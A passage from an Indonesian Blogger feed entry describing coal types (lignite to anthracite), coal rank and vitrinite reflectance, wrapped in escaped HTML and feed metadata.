pembentukan batubara. b) Lignite (Batubara Cokelat, ”Brown Coal”), Golongan ini sudah memperlihatkan proses selanjutnya berupa struktur kekar dan gejala pelapisan. Lignit atau batu bara coklat adalah batu bara yang sangat lunak yang mengandung air 35-75% dari beratnya. . Batu bara ini berwarna hitam, sangat rapuh, nilai kalor rendah dengan kandungan karbon yang sangat sedikit, kandungan abu dan sulfur yang banyak. Batu bara jenis ini dijual secara eksklusif sebagai bahan bakar untuk pembangkit listrik tenaga uap (PLTU). c) Sub-Bituminous (Bitumen Menengah), Golongan ini memperlihatkan ciri-ciri tertentu yaitu warna yang kehitam-hitaman dan sudah mengandung lilin. Sub-bituminus mengandung sedikit karbon dan banyak air. d) Bituminous, Golongan ini dicirikan dengan sifat-sifat yang padat, hitam, rapuh (brittle) dengan membentuk bongkah-bongkah prismatik. Berlapis dan tidak mengeluarkan gas dan air bila dikeringkan. e) Anthracite, Golongan ini berwarna hitam, keras, kilap tinggi, dan pecahannya memperlihatkan pecahan chocoidal. Antrasit adalah kelas batu bara tertinggi, dengan warna hitam berkilauan (luster) metalik, mengandung antara 86% - 98% unsur karbon (C) dengan kadar air kurang dari 8%, terbakar lambat, dengan batasan nyala api biru (pale blue flame) dengan sedikit sekali asap.&lt;br /&gt;&lt;b&gt;-&lt;/b&gt; Rank yaitu peringkat dan derajad batubara berdasarkan proses pengubahan atau genesa batubara.peringkat batubara adalah dasar klasifikasi dari lignit ke antrasit. Peringkat batubara naik pada proses pembentukan batubara, metamorfosis menyebabkan kandungan sat terbang menurun. Peringkat batubara yang tertinggi menunjukkan metamorfosis yang lebih besar. Peringkat batubara secara umum adalah lignit, batubara sub-bitumen, batubara bitumen dan antrasit (urutan peringkat rendah keperingkat tertinggi).&lt;br /&gt;Rank variety : jenis-jenis batubara berdasarkan urutan metamorfosis. Penentuan jenis-jenis batubara secara umum adalah merupakan hasil pemikiran para pakar tetapi juga dengan pertimbangan sifat-sifat kimia dan fisika.&lt;br /&gt;&lt;b&gt;-&lt;/b&gt; Derajat batubara adalah posisi batubara pada seri kualifikasi mulai dari gambut sampai antrasit. Perkembangannya sangat dipengaruhi oleh temperatur, tekanan dan waktu (Lopatin, 1971; Bostick, 1973). Banyak parameter yang telah dipergunakan untuk penentuan derajat batubara (cook, 1982), salah satu diantaranya adalah refleksi vitrinit. Cara ini belum dikenal di Indonesia, tetapi telah berkembang pesat di Amerika, JErman, Australia dan lain-lain, terutama perusahaan-perusahaan yang berkecimpung di dalam eksplorasi minyak dan gas.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;3.2 Saran&lt;/span&gt;&lt;br /&gt;&gt;_&lt; "&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-1747581516423153828?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/1747581516423153828/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2009/08/bab-1-pendahuluan-1.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/1747581516423153828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/1747581516423153828'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2009/08/bab-1-pendahuluan-1.html' title='identifikasi batubara'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lylI1wyyUFQ/So77H6M--fI/AAAAAAAAAAM/23tF6kLdlDY/s72-c/DSC00512.JPG' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
